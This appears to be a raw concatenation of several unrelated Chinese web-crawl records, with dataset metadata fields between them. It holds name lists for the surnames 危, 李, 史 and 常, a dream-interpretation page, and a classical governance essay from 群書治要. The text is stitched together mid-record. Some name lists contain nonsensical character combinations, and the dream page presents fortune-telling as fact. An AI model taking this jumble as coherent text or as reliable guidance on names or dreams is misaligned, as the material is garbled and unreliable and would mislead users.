危丰华 危丰生 危风拂 危风兰 危风扬 危峰松 危烽斌 危凤菊 危凤军 危凤岐 危福华 危福生 危福鑫 危富刚 危赣鑫 危高民 危高明 危高铭 危高羽 危格格 危根生 危恭穆 危官斌 危官强 危冠华 危冠军 危冠霖 危冠水 危冠希 危冠溪 危冠熙 危冠熹 危冠曦 危冠禧 危光华 危光阳 危广元 危广筑 危国繁 危国范 危国丰 危国海 危国雄 危国柱 危海斌 危海斌 危海兵 危海海 危海海 危海军 危海鹏 危海铄 危海涛 危海熹 危海铱 危晗斌 危涵涵 危涵忆 危涵艺 危涵佚 危昊彬 危昊斌 危昊霖 危昊瑞 危昊熙 危昊鑫 危浩鸿 危浩然 危浩瑞 危浩睿 危浩熹 危浩祥 危浩翔 危河冰 危珩语 危弘誉 危弘渊 危弘跃 危红灿 危红丹 危红虹 危红军 危红蕾 危红明 危红彤 危红仙 危红雅 危红云 危宏骏 危泓粟 危泓炎 危泓煜 危泓渊 危洪斌 危洪邓 危洪乐 危洪帅 危洪渊 危虹仙 危鸿斌 危鸿仙 危鸿煜 危鸿渊 危鸿章 危鸿志 危后平 危厚先 危花朵 危华礼 危华平 危华珍 危桦峰 危桦睿 危卉恩 危会斌 危会洋 危慧华 危慧明 危活球 危火有 危吉青 危既华 危继东 危继军 危加诚 危佳诚 危佳豪 危佳慧 危佳隽 危佳梦 危佳鑫 危家葵 危家乐 危家茂 危家淼 危家宜 危家正 危嘉畅 危嘉诚 危嘉妮 危嘉夷 危建峰 危建凤 危建国 危建华 危建静 危建魁 危建良 危建平 危建勤 危建权 危建豫 危建云 危江晨 危江成 危江城 危江林 危江平 危杰平 危今华 危金蓓 危金峰 危金凤 危金连 危金龙 危金满 危金荣 危金伟 危金旭 危金耀 危锦春 危锦宣 危瑾颢 危劲松 危进粉 危晋升 危晋曦 危晋宣 危经中 危菁蓓 危晶蓓 危晶晶 危晶珍 危精龙 危敬儒 危靖霖 危句芯 危军昂 危军军 危军培 危军扬 危军振 危军震 危均腾 危俊安 危俊恩 危俊富 危俊豪 危俊恒 危俊衡 危俊宏 危俊佳 危俊杰 危俊坤 危俊朗 危俊杉","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-133-1.html","date":"2021-09-21T11:57:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00097.warc.gz","language":"lzh","language_score":0.4275120795,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4275120794773102, \"cmn_Hani_score\": 0.4256448447704315, \"yue_Hani_score\": 0.10271328687667847, \"und_Hluw_score\": 0.02818085253238678}","num_words":542,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":500.0,"cluster_detection":1} +{"text":"毫无意义,要是做梦真能有意义,我早千万富翁了\n很多我们日常做不到的事情,或者是不敢做的事情,有时候会通过梦来虚幻地实现,是虚幻的哦。\n梦见捡菌子意味着:身体容易发生小毛病的一天。肠胃不适、头痛发热、皮肤过敏等等小症状都有可能在今天出现。个中原因,往往与你长期以来的生活上的某些不良习惯有关。此外,今天的你会因此有调整自己生活方式的打算,例如开始戒烟,减少熬夜等等。梦见捡菌子的吉凶:承父祖之余德,得长者之栽培,或用人得当,得大成功及发展,原命若喜水木者更佳。若凶数者:成又转败,陷于离乱变动,至晚年终归孤独失败,又早年有落水灾遇,生涯九死一生之命格。又须戒色,以防色变及刀杀之危。【中吉】\n仅请参考:\n男孩:\n李章振 李章正 李章政 李章钲\n李章肯 李章旻 李章旸 李章军 李章杰 李章伟 李章煜 李章显 李章华 李章天 李章伟 李章忆 李章令 李章雅 李章强 李章远 李章豪 李章思 李章波 李章清 李章昂 李章祝 李章新 李章权 李章轩 李章明 李章铮 李章伟 李章霏 李章杰 李章凯 李章承 李章河 李章帆 李章僖 李章缃 李章璞 李章翰 李章营 李章辉 李章麟 李章龙 李章宇 李章海 李章哲 李章博 李章涛 李章睿 李章维 李章安 李章牛 李章宾 李章珺 李章立 李章益 李章猛 李章焱 李章辉 李章茂 李章怀 李章率 李章升 李章涵 李章昊 李章行 李章芹 李章君 李章爨 李章利 李章强 李章昕 李章行 李章昊 李章炜 李章贺 李章三 李章峰 李章磊 李章民 李章桌 李章净 李章巍 李章彬 李章澈 李章岭 李章洲 李章杰 李章戬 李章雍 李章栋 李章清 李章洋 李章亮 李章健 李章福 李章华 李章桐 李章亮 李章嘉 李章勇 李章峰 李章进 李章石 李章瑞 李章宝 李章刚 李章耕 李章轩 李章洪 李章泉 李章银 李章宁 李章中 李章霆 李章莘 李章晓 李章克 李章鑫 李章磊 李章宇 李章笙 李章刚 李章军 李章杨 李章畅 李章皓 李章文 李章政 李章明 李章泽 李章轩 李章杰 李章杨 李章彬 李章朗 李章郁 李章游 李章裕 李章昱 李章浩 李章尔 李章挺 李章韬 李章明 李章磊 李章煜 李章奕 李章立 李章雪 李章焱 李章仲 李章磊 李章柠 李章强 李章建 李章敏 李章坤 李章蒙 李章培 李章青 李章鹏 李章峰 李章乐 李章峰 李章涛 李章刚 李章宽 李章勇 李章耀 李章洋 李章焱 李章琦 李章强 李章琢 李章熙 李章震 李章剑 李章锋 李章泓 李章伟 李章沅 李章琥 李章俊 李章伟 李章平 李章纤 李章松 李章昊 李章强 李章磊 李章强 李章晨 李章赫 李章轶 李章岩 李章明 李章析\n女孩:\n李章筝 李章珍 李章贞 李章锃\n李章瑛 李章洁 李章雨 李章曦 李章亚 李章琦 李章莉 李章畅 李章敏 李章悦 李章婕 李章云 李章静 李章寒 李章灿 李章荣 李章艺 李章璐 李章颖 李章怡 李章娟 李章宁 李章芳 李章畅 李章燕 李章丽 李章丹 李章昱 李章禹 李章玲 李章萍 李章瑾 李章韧 李章娜 李章颖 李章丛 李章娜 李章沫 李章英 李章婧 李章蓓 李章琪 李章杉 李章钰 李章皓 李章敏 李章静 李章莹 李章诺 李章瑶 李章菲 李章菁 李章燕 李章鸿 李章筱 李章桂 李章源 李章薇 李章茗 李章迪 李章丽 李章玲 李章莉 李章钰 李章艳 李章白 李章煦 李章鑫 李章佳 李章杭 李章莉 李章蕊 李章月 李章睿 李章爽 李章柳 李章雪 李章悦 李章银 李章璇 李章壹 李章曼 李章静 李章蕾 李章叶 李章旸 李章钰 李章可 李章昕 李章严 李章敏 李章淘 李章艳 李章立 李章晖 李章亿 李章潇 李章宁 李章蕴 李章钰 李章峥 李章雪 李章镡 李章铭 李章洁 李章森 李章梅 李章菲 李章杨 李章颖 李章茜 李章蓉 李章丽 李章婷 李章娜 李章晔 李章琰 李章涵 李章逸 李章岩 李章博 李章萍 李章萍 李章墨 李章香 李章惠 李章欣 李章艳 李章彤 李章舒 李章兢 李章菁 李章玲 李章蔚 李章苹 李章欣 李章燕 李章琰 李章伊 李章媛 李章莉 李章娟 李章平 李章琦 李章颖 李章书 李章颖 李章宵 李章颖 李章涔 李章辰 李章萍 李章瑛 李章瑞 李章芸 李章华 李章旸 李章肖 李章妍 李章苗 李章旭 李章敏 李章蕾 李章赛 李章妍 李章欣 李章蓓 李章圭 李章峰 李章薇 李章月 李章敏 李章珍\n做梦有两种可能,一是你日有所思夜有所梦,白天想太多晚上就梦到了,二是您的睡眠不是很好,建议您吃点对睡眠有帮助的食物吧,注意休息,就会改善,有信仰是可以的,别太迷信就可以了,好奇害死猫,过分相信迷信坑害的是自己。\n问一下你父亲。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/cnncmrc.com\/article\/128q084.html","date":"2021-11-30T05:11:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358953.29\/warc\/CC-MAIN-20211130050047-20211130080047-00239.warc.gz","language":"lzh","language_score":0.6714706421,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6714706420898438, \"cmn_Hani_score\": 0.252949982881546, \"nan_Hani_score\": 0.0716957375407219}","num_words":386,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.769,"perplexity_score":500.0,"cluster_detection":1} +{"text":"典 语\n群書治要卷四十八\n爵禄賞罰。人主之威柄。帝王之所以爲尊者也。故爵禄不可不重。重之則居之者貴。輕之則處之者賤。居之者貴則君子慕義。取之者賤則小人覬覦。君子慕義。治道之兆。小人覬覦。亂政之漸也。易曰聖人之大寶曰位。何以守位曰人(人作仁)。故先王重於爵位。慎於官人。制爵必俟有德。班禄必施有功。是以見其爵者昭其德。聞其禄者知其功。然猶誡以威罰。勸以黜陟。顯以錫命。耀以車服。故朝無曠官之譏。士無尸禄之責矣。\n夫無功而受禄。君子猶不可。况小人乎。孔子所以耻禀丘之封。而惡季氏之富也。故曰。富與貴是人之所欲。不以其道得之。不處。苟得其志。執鞭可爲。苟非其道。卿相猶避。明君不可以虚授。人臣亦不可以苟受也。書曰。天工人其代之。是以聖帝明王。重器與名。尤慎官人。故周褒申伯。吉甫著誦。祈父失職。詩人作刺。王商爲宰。單于震畏。千秋登相。匈奴輕漢。推此言之。官人封爵。不可不慎也。官得其人。方類相求。雖在下位。士以爲榮也。俗以貨成。位失其守。雖則三公。士以爲辱也。故王陽在位。貢公彈冠。王許并立。班伯耻之。\n天子據率土之資。總三才之任。以制御六合。統理群生。固未易爲也。是以聖帝明王。憂勞待旦。勤於日昃。未有不汲汲於求賢。勤勤於遠惡者也。故大舜招二八於唐朝。投四凶於荒裔。殛鯀不嫌登禹。親仁也。舉子不爲宥父。遠惡也。以能昭德立化。爲百王之命也。\n夫世之治亂。國之安危。非由他也。俊乂在官。則治道清。奸佞干政。則禍亂作。故王者任人。不可不慎也。得人之道。蓋在於敬賢而誅惡也。敬一賢則衆賢悦。誅一惡則衆惡懼。昔魯誅少正。佞人變行。燕禮郭隗。群士嚮至。此非其效與。然人主處於深宫之中。生於禁闥之内。眼不親見臣下之得失。耳不親聞賢愚之否臧。焉知臣下誰忠誰否。誰是誰非。須當留意隱括。聽言觀行。驗之以實。效之以事。能推事效實。則賢愚明而治道清矣。\n王者所以稱天子者。以其號令政治法天而行。故也夫天之育萬物也。耀之以日月。紀之以星辰。運之以陰陽。成之以寒暑。震之以雷霆。潤之以雲雨。天不親事而萬事歸功者。以所任者得其宜也。然握璿璣。御七辰。調四時。制五行。此蓋天子之所爲任者也。孔子曰。唯天爲大。唯堯則之。帝王之盛莫過虞。昔帝堯之末。洪水有滔天之灾。烝民有昏墊之憂。於是咨嗟四岳。舉及側陋。虞舜既登。百揆時叙。二八龍騰。并幹唐朝。故能揚嚴億載。冠德百王。舜既受終。并簡俊德。咸列庶官。從容垂拱。身無一勞。而庶事歸功。光炎百世者。所任得其人也。\n天子所以立公卿大夫列士之官者。非但欲備員數。設虚位而已也。以天下至廣。庶事總猥。非一人之身所能周理。故分官别職。各守其位。事有大小。故官有尊卑。人有優劣。故爵有等級。三公者。帝王之所杖也。自非天下之俊德。當世之良材。即不得而處其任。處其任者。必荷其責。在其任者。必知所職。夫匡輔社稷。佐日揚光。協齊七政。宣化四方。此三公之職。籩豆之事。則有司存。大臣不親細事。猶周鼎不調小味也。故書曰。元首叢莝哉。股肱惰哉。庶事墮哉。此之謂也。陳平曰。宰相者。上佐天子。下理陰陽。外無四夷諸侯。内親附百姓。使卿大夫各得其(其字疑衍)任其職也。可謂知其任者也。\n天下至廣。萬機至繁。人主以一人之身。處重仞之内。而御至廣之士。聽至繁之政。安知萬國之聲息。民俗之動静乎。故古之聖帝。立輔弼之臣。列官司之守。勸之以爵賞。誡之以刑罰。故明誡以效其功。考績以核其能。德高者位尊。才優者位重。人主總君謨以觀衆智。杖忠賢而布政化。明耳目以來風聲。進直言以求得失。夫如是。雖廣必周。雖繁必理。何則。御之有此具也。夫君稱元首。臣云股肱。明大臣與人主一體者也。堯明俊德。守位以人。所以强四支而輔體也。其爲己用。豈細也哉。苟非其選。器不虚假。苟得其人。委之無疑。君之任臣。如身之信手。臣之事君。亦宜如手之繫身。安則共樂。痛則同憂。其上下協心。以治世事。不俟命而自勤。不求容而自親。何則。相信之忠著也。\n是以天子改容於大臣。所以重之也。人臣盡命於君上。所以報德也。寵之以爵級。而天下莫不尊其位。任之以重器。天下莫不敬其人。顯之以車服。天下莫不瞻其榮者。以其荷光景於辰耀。登階(登階之間。恐有脱字)於天路也。若此之人。進退必足以動天地而應列宿也。故選不可以不精。任之不可以不信。進不可以不禮。退之不可以權辱。昔賈生常陳階級。而文帝加重大臣。每賢其遺言。博引古今。文辭雅偉。真君人之至道。王。臣之碩謨也。\n夫料才覈能。治世之要也。凡人之才。用有所周。能有偏達。自非聖人。誰兼資百行。備貫衆理乎。故明君聖主。裁而用焉。昔舜命群司。隨才守位。漢述功臣。三杰异稱。况非此儔。而可備責乎。且造父善御。師曠知音。皆古之至奇也。使其探(探疑换)事易伎。則彼此俱屈。何則。纔有偏達也。人之才能。率皆此類。不可不料也。若任得其才。才堪其任。而國不治者。未之有也。或有用士而不能以治者。既任之不盡其才。不覈其能。故功難成而世不治也。馬無輦重之任。牛無千里之迹。違其本性。責其效事。豈可得哉。使韓信下帷。仲舒當戎。于公馳説。陸賈聽訟。必無(無下恐有脱字)曩時之勛。而顯今日之名也。何則。素非才之所長也。推此論之。何可不料哉。\n政有宜於古而不利於今。有長於彼而不行於此者。風移俗易。每世則變。故結繩之治。五帝不行。三代損益。政法不同。隨時改制。所以救弊也。易曰。隨時之義大矣哉。孔子曰。不教民戰。是謂弃之。司馬法曰。國雖大。好戰必亡。天下雖安。忘戰必危。明用武有時。昔秦杖威用武。卒成王業。吞滅六國。帝有天下。而不斟酌唐、虞。以美其治。損益三代。以御其世。爾乃廢先聖之教。任殘酷之政。阻兵行威。暴虐海内。故百姓怨毒。雄桀奮起。至於二世。社稷湮滅。非武不能取而所守之者非也。傳曰。夫兵猶火也。不戢將自焚。秦無戢兵之慮。故有自焚之禍。好戰必亡。此之謂也。徐偃王好行仁義。不修武備。楚人伐之。身死國滅。天下雖安。武不可廢。况以區區之徐。處争奪之世乎。忘戰必危。此之謂也。漢高帝發迹泗水。龍起豐、沛。仁以懷遠。武以弭難。任奇納策。遂掃秦、項。被以惠澤。飾以文德。文武并作。祚流世長。此高帝之舉也。\n秦漢俱杖兵用武以取天下。漢何以昌。秦何以亡。秦知取而不知守。漢取守之具備矣乎。中世孝武以成功恢帝綱。元、成以儒術失皇綱。德不堪也。王莽之世。内尚文章。外繕師旅。立明堂之制。修辟廱之禮。招集儒學。思遵古道。文武之事備矣。然而命絶於漸臺。支解於漢刃者。豈文、武之不能治世哉。而用之者拙也。班輸騁功於利器。拙夫操刀而傷手。非利器有害於工匠。而夫膏梁旨饌。時或生疾。針艾藥石。時或瘳疾。故體病則攻之以針艾。疾瘳則養之以膏梁。文武之道。亦猶是矣。世亂則威之以師旅。道治則被之以文德。\n天生烝民。授之以君。所以綜理四海。收養品庶也。王者據天位。御萬國。臨兆民之衆。有率土之資。此所以尊者也。然宫室壯觀。出於民力。器服珍玩。生於民財。千乘萬騎。由於民衆。無此三者。則天子魁然獨在。無所爲尊者也。明主智君。階民以爲尊。國須政而後治。其恤民也。憂勞待旦。日側忘飡。恕己及下。務在博愛。臨御華殿。軒檻華美。則欲民皆有容身之宅。廬室之居。窈窕盈堂。美女侍側。則欲民皆有配匹之偶。室家之好。肥肉淳酒。珠膳玉食。則欲民皆有餘糧之資。充饑之飴。輕裘累暖。衣裳重繭。則欲民皆有温身之服。禦寒之備。凡四者。生民之本性。人情所共有。故明主樂之於上。亦欲士女歡之於下。是以仁惠廣洽。家安厥所。臨軍則士忘其死。御政則民戴其化。此先王之所以豐動祚享長期者也。若居無庇首之廬。家無配匹之偶。口無充饑之食。身無蔽形之衣。婚姻無以致娉。死葬無以相卹。飢寒入於腸骨。悲愁出於肝心。雖百舜不能杜其怨聲。千堯不能成其治迹。是以明主御世。恤民養士。恕下以身。自近及遠。化通宇宙。丕懼民之不安。故能康厥世治。播其德教焉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022082.html","date":"2017-04-24T03:31:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00360-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.405380547,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4053805470466614, \"cmn_Hani_score\": 0.25983065366744995, \"nan_Hani_score\": 0.0460042729973793, \"jpn_Jpan_score\": 0.04307343438267708, \"wuu_Hani_score\": 0.03932517394423485, \"zxx_Latn_score\": 0.0327555350959301, \"und_Tang_score\": 0.021936915814876556, \"yue_Hani_score\": 0.010529895313084126}","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":500.0,"cluster_detection":1} +{"text":",\n这里为大家分享网上免费宝宝起名大全......\n给孩子起个名字,既好听又有内涵,不过家长起名的时候常常发现,起一个好姓名也需要很深的文化底蕴......姓史的古风名字到底应该怎么选?\nmingzi.cn为大家提供最全面的名字选择,本站姓名均为本站聘请的专业顾问齐万里、成一道人大师通过姓名打分测试喜用神选择,免费起名网提供的姓名并非其它站汉字随机组合而来。mingzi.cn为各位父母提供最专一的免费服务。\n下面是今天的主题:史姓男孩的名字响亮寓意好,如果你的宝宝姓史,那么到下面挑选吧!还有跟多姓名一起关注吧!\n男宝宝文艺的名字大全\n史果果 史嘉澍 史君博 史霈晨 史霈霈 史晨晨 史辰辰 史沛淳 史沛沛 史雪萌 史薛萌 史惠宁 史涵予 史林林 史金鑫 史金龙 史佳灵 史凡可 史育菲 史秦荧 史千弘 史函蒙 史可馨 史诺涵 史磊 史浩言 史腾宇 史焱宇 史林泽 史博涵 史博文 史鸿涛 史梦洁 史可昕 史晓涵 史文濯 史文爽 史文琦 史文翔 史文祥 史文丛 史文葛 史文芊 史大维 史潇扬 史潇阳 史宝静 史耀锋 史耀丰 史涵馨 史云馨 史祎翔 史学先 史伟 史文进 史文龙 史文羽 史文涛 史文轩 史文兵 史文振 史文芯 史文訫 史文薪 史文儒 史文疏 史文芗 史文懿 史文吏 史文博 史文宸 史小静 史安琪 史才汉 史丽琳 史丽霖 史丽娜 史文胜 史平 史嘉伟 史军杰 史欣然 史馨宁 史欣于 史佳尹 史佳伊 史景天 史永秋 史一陈 史朵鹘 史茶朵 史振轩 史振斌 史振郝 史诺奇 史涵宇 史语筠 史雪娇 史小漪 史亿诺 史海川 史语嫣 史佳琪 史佳琦 史雨涵 史雨欣 史雨昕 史骏臣 史子安 史壤宇 史涵伎 史涵天 史森宇 史胜宇 史祁宇 史盛宇 史烁涵 史绍磊 史博林 史博霖 史哲 史函檾 史树文 史冠楠 史文静 史常亮 史嘉木 史绍骏 史许芳 史雪芳 史涵瑞 史琪瑄 史思琪 史子轩 史紫轩 史璐瑄 史惠艳 史瀚泉 史宇煊 史浩雪 史新义 史立强 史沐阳 史芯瑶 史珂瑶 史今 史睿 史帝 史珍香 史淑芬 史佳晨 史芝朵 史芝果 史海亮 史焱灵 史焱林 史佳林 史博赵 史博曦 史赵曦 史成文 史瑞瞳 史凤伢 史一涵 史一一 史淑香 史树香 史子宴 史丽娟 史子琳 史宇阳 史培恩 史玉珍 史宝璐 史骧士 史萧晴 史轩 史泽义 史薪炀 史妹 史梓辰 史思辰 史肖萍 史银屏 史小存 史粮透 史旧嫦 史薹昊 史璨铨 史乾志 史超 史焕秋 史雪莲 史继叶 史晓玲 史慧琪 史双莲 史慧莲 史国冰 史冰洁 史立雪 史赋颖 史瑞泽 史婧璇 史昊伟 史昊召 史梦腾 史名瑄 史浩鑫 史或渭 史颖熙 史哲宇 史博宇 史一茗 史一哲 史家辉 史佳鑫 史烨磊 史子默 史天佑 史海华 史海冬 史浩天 史雨妃 史雨菲 史雨霏 史雨彤 史展翼 史祥瑞 史可 史文君 史湘润 史泽熙 史常武 史常武 史銮天 史舜天 史致远 史珍桃 史暄浩 史梓君 史雷涛 史景迁 史景迁 史雷涛 史洺睿 史宇轩 史晓彤 史泽东 史玉恩 史玉和 史玉河 史厉君 史莉君 史家明 史玉川 史家旺 史家望 史家缘 史鑫鹏 史鑫磊 史文昊 史皓轩 史浩宇 史洪希 史浩杰 史思明 史运龙 史有政 史有正 史军 史松柏 史国洋 史轩宁 史浩陈 史铮 史韫限 史鹏云 史东海 史伟亚 史兆瑄 史兆轩 史张潘 史张攀 史张恒 史张衡 史张渝 史张雄 史张白 史张百 史张柏 史张桦 史张华 史张腾 史张博 史天睿 史艺凡 史玖禳 史竞源 史健镌 史新宇 史恒宇 史衡宇 史香煜 史香烨 史殿森 史锁阁 史铴阁 史淦阁 史斌阁 史碧岑 史雨辰 史典航 史舶菡 史振功 史宝娟 史亚鹍 史云龙 史鑫皓 史召辉 史晓敏 史路诚 史桢睿 史梵佑 史夏源 史夏铭 史夏航 史夏旭 史夏睿 史夏不 史夏远 史骥先 史峡磐 史夏纬 史翊矢 史坚只 史绍世 史恒睿 史伏睿 史夏霖 史夏清 史夏帆 史夏生 史沅夏 史夏沅 史栩亥 史复继 史宇竣 史承仕 史宇钻 史继骧 史空柏 史驰颡 史楷巳 史国永 史泵泰 史继天 史炜豪 史炜 史炜恒 史炜帆 史熙晨 史炜航 史炜泽 史一钧 史涵菡 史雅涵 史滢玮 史沛然 史凌菲 史馨卓 史斐华 史琰哲 史泊君 史雷阳 史龙阳 史锦博 史锦 史锦天 史邦威 史易博 史涛 史昊航 史昊宸 史昊宣 史昊雨 史昊语 史昊禹 史铭乐 史胜天 史众智 史昊宇 史乐 史旭 史淳 史灏 史霖 史川 史泽 史晟 史航 史匙丁 史堙旭 史责又 史绍刊 史兆峰 史卓灏 史昊峰 史廷渲 史晟航 史泽晟 史珂命 史竞牛 史峻声 史栩销 史航由 史宇喻 史牟舜 史湋珂 史晟验 史详川 史浚赫 史又廷 史弛航 史航弛 史航旭 史旭航 史航峻 史峻航 史密斯 史成涛 史成骏 史国辉 史亥宸 史梓壤 史航忝 史帷赫 史享正 史襦智 史祺召 史晟峻 史瞻卓 史梓清 史林赣 史晓丁 史春宝 史睿涵 史俊哲 史俊哲 史俊哲 史俊哲 史俊哲 史可鉴 史松睿 史梧可 史梓冉 史振江 史峻华 史熎华 史国华 史舒华 史一华 史逸凡 史逸群 史益恺 史亿佳 史岳鹏 史思源 史思源 史思婕 史思彤 史思凯 史继凯 史毅凡 史可伊 史驿飞 史一斐 史雨萱 史梦萱 史迎萱 史宗杰 史晨 史家骏 史尘浩 史浩尘 史家浩 史保平 史登荣 史茁冉 史茁然 史明艳 史娜 史玉芹 史玉琴 史豫舟 史豫州 史豫洲 史豫周 史成豫 史豫川 史豫泽 史豫楷 史嘉豫 史家豫 史柏玮 史宁辉 史会静 史会粉 史国进 史国剑 史鹏飞 史亚伟 史亚维 史国胜 史国壮 史国强 史国利 史国江 史国言 史国延 史国威 史钰鑫 史蕊鑫 史鑫蕊 史蕊怡 史鑫怡 史若晗 史婼晗 史钰轩 史雨轩 史蕊彤 史安瑞 史耀文 史永浩 史宇航 史家烨 史子桐 史松泽 史雨桐 史浚祺 史泽楷 史泽桐 史雨航 史家钰 史家浚 史雨泽 史佳昊 史泽文 史嘉文 史秉真 史呈呈 史成成 史诚诚 史帅帅 史王帅 史程程 史浩博 史城城 史峻燃 史秉直 史俊 史宏明 史鸾豁 史鸾皓 史一皓 史东伟 史嘉豪 史香宁 史东风 史伯成 史璟雯 史芸熙 史云溪 史玉权 史志强 史欣玉 史晟睿 史育真 史预真 史寓真 史毓真 史誉真 史裕真 史语真 史宇桢 史宇真 史豫真 史豫哲 史豫杰 史华熙 史熙成 史隽熙 史宏熙 史彦熙 史毅荣 史毅诺 史青青 史青虫 史宜诺 史弈诺 史易诺 史义诺 史一诺 史逸诺 史青奕 史青弈 史青翼 史青逸 史欣韵 史星蕴 史欣蕴 史蕴欣 史青蕴 史蕴青 史世栋 史雨琳 史潇浒 史花斌 史妍芳 史斌佐 史俊驰 史煜祺 史浩轩 史裕泰 史同辉 史逸晴 史煜晴 史煜萍 史昊天 史洛宇 史佳余 史佳矗 史佳住 史佳永 史牧歌 史宸安 史钰彤 史钰涵 史宝磊 史尚卿 史豫欣 史浓包 史义龙 史明均 史尘旭 史超旭 史梓晨 史玉柱 史芳妍 史慧琳 史炫洁 史雅思 史娜凡 史祝林 史俊熙 史佳豪 史泽凡 史博凡 史博雯 史安然 史祝琳 史安顺 史安财 史安翔 史文豪 史新迎 史子憔 史起旺 史启旺 史振华 史瀚 史子瀚 史潇想 史一显 史峻熙 史瞒值 史梅美 史梅瞒 史瞒瞒 史瞒佳 史瞒浩 史轩浩 史轩瞒 史鑫瞒 史金瞒 史携瞒 史忆瞒 史成瞒 史嘉瞒 史兴梅 史兴浩 史兴瞒 史金美 史金梅 史瞒金 史晶晶 史金金 史瞒值 史美浩 史梅浩 史志浩 史佳浩 史爱梅 史携梅 史嘉梅 史忆梅 史佳梅 史佳美 史云鑫 史为全 史淇萱 史淇薇 史豪 史松澤 史浚祺 史作平 史荣轩 史建荣 史晋荣 史娟 史雨申 史乃冰 史腊回 史卓城 史飞雪 史开阳 史天朗 史志涛 史浩铎 史舒阳 史博哲 史博梦 史博弈 史博君 史博尊 史博艺 史文艺 史勋高 史文桥 史美玲 史亚男 史广维 史浩煜 史洪炜 史海洋 史玺尊 史浩洋 史浩逸 史浦泽 史蒲泽 史志泽 史锐泽 史彭泽 史浩瀚 史冠玉 史波光 史德泽 史润泽 史玉超 史其泽 史鑫然 史东旭 史振臣 史浩翰 史浩坤 史珍臣 史霏凡 史周泽 史文娟 史文慧 史俊杰 史新超 史新静 史修泉 史东昊 史东来 史昀杭 史亚东 史培煊 史志轩 史孝琪 史孝辉 史孝中 史致恒 史致轩 史致煊 史至煊 史一轩 史孝棋 史玟棋 史埝淇 史培淇 史向南 史予馨 史峻守 史翔坤 史海生 史海光 史弘毅 史广信 史冬 史菁冬 史振项 史安然 史建和 史建河 史建河 史春雨 史雨晴 史晶滢 史成森 史成秒 史成淼 史迎春 史雅蕊 史珂昕 史雨馨 史珂玥 史珂心 史珂馨 史雨嘉 史惠茜 史欣妍 史馨怡 史良 史皓辰 史建川 史洪刚 史腾跃 史枫 史晴雪 史晴雨 史佳乐 史宇辰 史昊霖 史维娜 史力文 史潍佳 史淮佳 史丽丽 史卓鑫 史家琪 史知鑫 史金祥 史文峰 史青亦 史珞霖 史烙霖 史卓越 史睿智 史亦若 史亦丰 史言丰 史锦航 史高飞 史阡硕 史晟铭 史洪诚 史正豪 史俊鸿 史俊豪 史柱有 史晴晴 史欣晴 史滢晴 史欣滢 史恩淇 史恩晴 史建伟 史伟建 史轩宇 史宜钰 史佩静 史欣静 史驿城 史俊新 史红顺 史红松 史红瑜 史泽州 史恩铭 史一泽 史少平 史傲寒 史涵荣 史涵萱 史承旺 史承万 史槟豪 史锦怡 史倌多 史旅汀 史俯西 史拳此 史峰行 史务任 史婉仪 史乐仪 史浩辰 史柠紧 史迩愿 史瞻魁 史瞻台 史璩睿 史遭缁 史镇嶂 史翻网 史鼬台 史曙溯 史翻认 史敏辰 史戆切 史鹦友 史鹦什 史鹦元 史崃呈 史囵吝 史问住 史扈牡 史望努 史晞求 史略旱 史邦利 史婚助 史鱼冶 史研尾 史尉尾 史野完 史扈巡 史蕤维 史搁沟 史谟综 史荡獒 史颛夤 史讴台 史旧透 史店陇 史泛雳 史届赣 史和晨 史天豪 史澄华 史渠冬 史一博 史计才 史一彬 史潘苇 史庆伟 史伟香 史迪文 史地文 史清华 史欣冉 史欣苇 史勇 史若兰 史欣霞 史新霞 史馨霞 史伟功 史欣雨 史凌兰 史清雅 史曼云 史兰梦 史若云 史夏岚 史晓兰 史怡宁 史悦欣 史云岚 史浩岚 史建飞 史家旭 史家祺 史好华 史伟德 史滕森 史腾森 史家良 史妤熙 史浩然 史美琳 史美琪 史雅琪 史晓冉 史小冉 史雪慧 史舒雅 史婉婷 史曼婷 史雨婷 史舌甲 史浩 史旭艳 史宇飞 史浩雨 史弘泽 史苓为 史可为\n2009-2018 名字大全(www.MingZi.cn) 辽ICP备14017459号\n男孩名字大全、女孩名字大全、名字测试打分、取名字大全","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.mingzi.cn\/nanhai\/451271.html","date":"2018-12-17T15:43:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828507.84\/warc\/CC-MAIN-20181217135323-20181217161323-00484.warc.gz","language":"lzh","language_score":0.5920783877,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5920783877372742, \"cmn_Hani_score\": 0.3049173653125763, \"yue_Hani_score\": 0.05038983374834061, \"nan_Hani_score\": 0.04734613373875618}","num_words":1008,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.61,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n常德芳 常荔媛 常婧楠 常艳花 常林丽 常滢玉 常法悦 常丽悦 常发文 常钧婷 常育颖 常育怡 常育文 常育茹 常宇怡 常艳娟 常幸悦 常恩蓉 